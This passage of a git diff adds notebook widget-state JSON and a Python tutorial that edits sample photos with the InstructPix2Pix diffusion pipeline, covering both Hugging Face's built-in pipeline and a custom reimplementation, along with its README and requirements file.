"@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f259a8f8222c41eea77498acd6d4e4aa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f25cbe3e352d44c9849191bbb8e9d4d9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f38555fda53a4edf92271a97db3f7dd5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f3d1f71549674156b493e3771784ec68": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f3f3d0fa7c164320b7f11f68a3915899": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f40c98061f2946b1885193ee817c52a3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f48ce6b6925b4b058f8679d73c039ac8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f546e96ee51643839dd2d98d09df9c87": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f6239b69aa6e4ece90cdb6fabf707c57": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f6787f179f0c4dc6b420085606784de9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f6ecc0d4fe1545d8bd0a16de5960285b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f76d97ab2a6e46d5891af7fc0c3f511b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f7728f9c5b0f4f4ca084119f74e9dcaf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "fa37cd2e2ac94455ab624a75eb0a105d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "fa82f3acd0794629b0a5af2383807c2c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "fb156e0150e24ec9a367a1e26c4750ec": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_740417603bd94bf698fdba5b374d7c3a", + "placeholder": "​", + "style": "IPY_MODEL_2ddf4013353e48b9a62c70e2eb68502e", + "value": "100%" + } + }, + "fb21fb73c13f4b12a6e917160f5891ed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8b08803f05bb47a1b83ebeff76e7caf7", + "max": 518, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_27544c3774b54c018270a66ebbd06edb", + "value": 518 + } + }, + "fbbee3ba802b41c084ee35dccc8bbabf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fcc8de512f89491ab8b7a50cc37f83f5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fd5335a0dce5483bba6b91db1e32346e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "fe213a7fa3c44223847fd5cf3b05a9a5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ff5ca71e3f254e82ba648f2b5a000de2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_efa4ce6a37094cd483fa4e39b7ae04eb", + "IPY_MODEL_1529067d721f4287b26e576942b5bc97", + "IPY_MODEL_1763740db60f490493e2fe10d35cc58e" + ], + "layout": "IPY_MODEL_40ea712393314cfe9452f6b14bfd58e6" + } + }, + "ff7172bc118f4f22bc1acbe531787b42": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ff7c3d43d89a40a9941f2b9baf8e9fd9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + } + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/edit-images-instruct-pix2pix/README.md b/machine-learning/edit-images-instruct-pix2pix/README.md new file mode 100644 index 00000000..8800db36 --- /dev/null +++ b/machine-learning/edit-images-instruct-pix2pix/README.md @@ -0,0 +1 @@ +# [How to Edit Images using InstructPix2Pix in Python](https://www.thepythoncode.com/article/edit-images-using-instruct-pix2pix-with-huggingface) \ No newline at end of file diff --git a/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py b/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py new file mode 100644 index 00000000..97874151 --- /dev/null +++ b/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py @@ -0,0 +1,389 @@ +# %% +!pip install -qU diffusers accelerate safetensors transformers + +# %% [markdown] +# # Hugging Face + +# %% +import PIL +import requests +import torch +from diffusers import StableDiffusionInstructPix2PixPipeline, EulerAncestralDiscreteScheduler + + +# %% +def download_image(url): + image = PIL.Image.open(requests.get(url, stream=True).raw) + image = PIL.ImageOps.exif_transpose(image) + image = image.convert("RGB") + return image + +# %% +model_id = "timbrooks/instruct-pix2pix" +pipe = StableDiffusionInstructPix2PixPipeline.from_pretrained(model_id, torch_dtype=torch.float16, safety_checker=None) +pipe.to("cuda") +pipe.scheduler = EulerAncestralDiscreteScheduler.from_config(pipe.scheduler.config) + + +# %% +url = "https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg" +image = download_image(url) +image + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.5).images +images[0] + +# %% +url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg" +image = download_image(url) +image + +# %% +prompt = "turn the bird to red" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images +images[0] + +# %% +url = "https://cdn.pixabay.com/photo/2018/05/08/06/52/vacation-3382400_640.jpg" +image = download_image(url) +image + +# %% +prompt = "turn the suitcase yellow" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.7).images +images[0] + +# %% + + +# %% + + +# %% [markdown] +# # Custom implementation + +# %% +from tqdm import tqdm +from torch import autocast + +# %% +class InstructPix2PixPipelineCustom: + """custom implementation of the InstructPix2Pix Pipeline""" + + def __init__(self, + vae, + tokenizer, + text_encoder, + unet, + scheduler, + image_processor): + + self.vae = vae + self.tokenizer = tokenizer + self.text_encoder = text_encoder + self.unet = unet + self.scheduler = scheduler + self.image_processor = image_processor + self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + + + + def get_text_embeds(self, text): + """returns embeddings for the given `text`""" + + # tokenize the text + text_input = self.tokenizer(text, + padding='max_length', + max_length=tokenizer.model_max_length, + truncation=True, + return_tensors='pt') + # embed the text + with torch.no_grad(): + text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0] + return text_embeds + + + def get_prompt_embeds(self, prompt, prompt_negative=None): + """returns prompt embeddings based on classifier free guidance""" + + if isinstance(prompt, str): + prompt = [prompt] + + if prompt_negative is None: + prompt_negative = [''] + elif isinstance(prompt_negative, str): + prompt_negative = [prompt_negative] + + # get conditional prompt embeddings + cond_embeds = self.get_text_embeds(prompt) + # get unconditional prompt embeddings + uncond_embeds = self.get_text_embeds(prompt_negative) + + # instructpix2pix takes conditional embeds first, followed by unconditional embeds twice + # this is different from other diffusion pipelines + prompt_embeds = torch.cat([cond_embeds, uncond_embeds, uncond_embeds]) + return prompt_embeds + + + def transform_image(self, image): + """transform image from pytorch tensor to PIL format""" + image = self.image_processor.postprocess(image, output_type='pil') + return image + + + + def get_image_latents(self, image): + """get image latents to be used with classifier free guidance""" + + # get conditional image embeds + image = image.to(self.device) + image_latents_cond = self.vae.encode(image).latent_dist.mode() + + # get unconditional image embeds + image_latents_uncond = torch.zeros_like(image_latents_cond) + image_latents = torch.cat([image_latents_cond, image_latents_cond, image_latents_uncond]) + + return image_latents + + + + def get_initial_latents(self, height, width, num_channels_latents, batch_size): + """returns noise latent tensor of relevant shape scaled by the scheduler""" + + image_latents = torch.randn((batch_size, num_channels_latents, height, width)) + image_latents = image_latents.to(self.device) + + # scale the initial noise by the standard deviation required by the scheduler + image_latents = image_latents * self.scheduler.init_noise_sigma + return image_latents + + + + def denoise_latents(self, + prompt_embeds, + image_latents, + timesteps, + latents, + guidance_scale, + image_guidance_scale): + """denoises latents from noisy latent to a meaningful latent as conditioned by image_latents""" + + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(timesteps)): + # duplicate image latents *thrice* to do classifier free guidance + latent_model_input = torch.cat([latents] * 3) + latent_model_input = self.scheduler.scale_model_input(latent_model_input, t) + + latent_model_input = torch.cat([latent_model_input, image_latents], dim=1) + + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet(latent_model_input, t, + encoder_hidden_states=prompt_embeds)['sample'] + + # separate predictions into conditional (on text), conditional (on image) and unconditional outputs + noise_pred_text, noise_pred_image, noise_pred_uncond = noise_pred.chunk(3) + # perform guidance + noise_pred = ( + noise_pred_uncond + + guidance_scale * (noise_pred_text - noise_pred_image) + + image_guidance_scale * (noise_pred_image - noise_pred_uncond) + ) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + latents = self.scheduler.step(noise_pred, t, latents)['prev_sample'] + + return latents + + + + def __call__(self, + prompt, + image, + prompt_negative=None, + num_inference_steps=20, + guidance_scale=7.5, + image_guidance_scale=1.5): + """generates new image based on the `prompt` and the `image`""" + + # encode input prompt + prompt_embeds = self.get_prompt_embeds(prompt, prompt_negative) + + # preprocess image + image = self.image_processor.preprocess(image) + + # prepare image latents + image = image.half() + image_latents = self.get_image_latents(image) + + # prepare timesteps + self.scheduler.set_timesteps(num_inference_steps) + timesteps = self.scheduler.timesteps + + height_latents, width_latents = image_latents.shape[-2:] + + # prepare the initial image in the latent space (noise on which we will do reverse diffusion) + num_channels_latents = self.vae.config.latent_channels + batch_size = prompt_embeds.shape[0] // 2 + latents = self.get_initial_latents(height_latents, width_latents, num_channels_latents, batch_size) + + # denoise latents + latents = self.denoise_latents(prompt_embeds, + image_latents, + timesteps, + latents, + guidance_scale, + image_guidance_scale) + + # decode latents to get the image into pixel space + latents = latents.to(torch.float16) # change dtype of latents since + image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0] + + # convert to PIL Image format + image = image.detach() # detach to remove any computed gradients + image = self.transform_image(image) + + return image + +# %% +# We can get all the components from the InstructPix2Pix Pipeline +vae = pipe.vae +tokenizer = pipe.tokenizer +text_encoder = pipe.text_encoder +unet = pipe.unet +scheduler = pipe.scheduler +image_processor = pipe.image_processor + +# %% +custom_pipe = InstructPix2PixPipelineCustom(vae, tokenizer, text_encoder, unet, scheduler, image_processor) + +# %% +url = "https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg" +image = download_image(url) +image + +# %% +# sample image 1 +prompt = "convert the lady into a highly detailed marble statue" +images_custom = custom_pipe(prompt, image, num_inference_steps=20) +images_custom[0] + +# %% +url = "https://cdn.pixabay.com/photo/2023/03/22/01/41/little-girl-7868485_640.jpg" +image = download_image(url) +image + +# %% +# sample image 2 +prompt = "turn into 8k anime" +images_custom = custom_pipe(prompt, image, num_inference_steps=20) +images_custom[0] + +# %% [markdown] +# # Limitations + +# %% +prompt = "turn entire pic into anime frame" +images_custom = custom_pipe(prompt, image, num_inference_steps=20) +images_custom[0] + +# %% + + +# %% [markdown] +# # Rough +# + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=2).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.2).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.3).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.8).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=10).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=15).images +images[0] + +# %% + + +# %% +prompt = "turn the red wooden stick to brown" +images2 = pipe(prompt, image=images[0], num_inference_steps=10, image_guidance_scale=1).images +images2[0] + + diff --git a/machine-learning/edit-images-instruct-pix2pix/requirements.txt b/machine-learning/edit-images-instruct-pix2pix/requirements.txt new file mode 100644 index 00000000..8780d0fc --- /dev/null +++ b/machine-learning/edit-images-instruct-pix2pix/requirements.txt @@ -0,0 +1,6 @@ +diffusers +accelerate +transformers +torch +Pillow +safetensors \ No newline at end of file diff --git a/machine-learning/facial-recognition-system/README.md b/machine-learning/facial-recognition-system/README.md new file mode 100644 index 00000000..b7b0255e --- 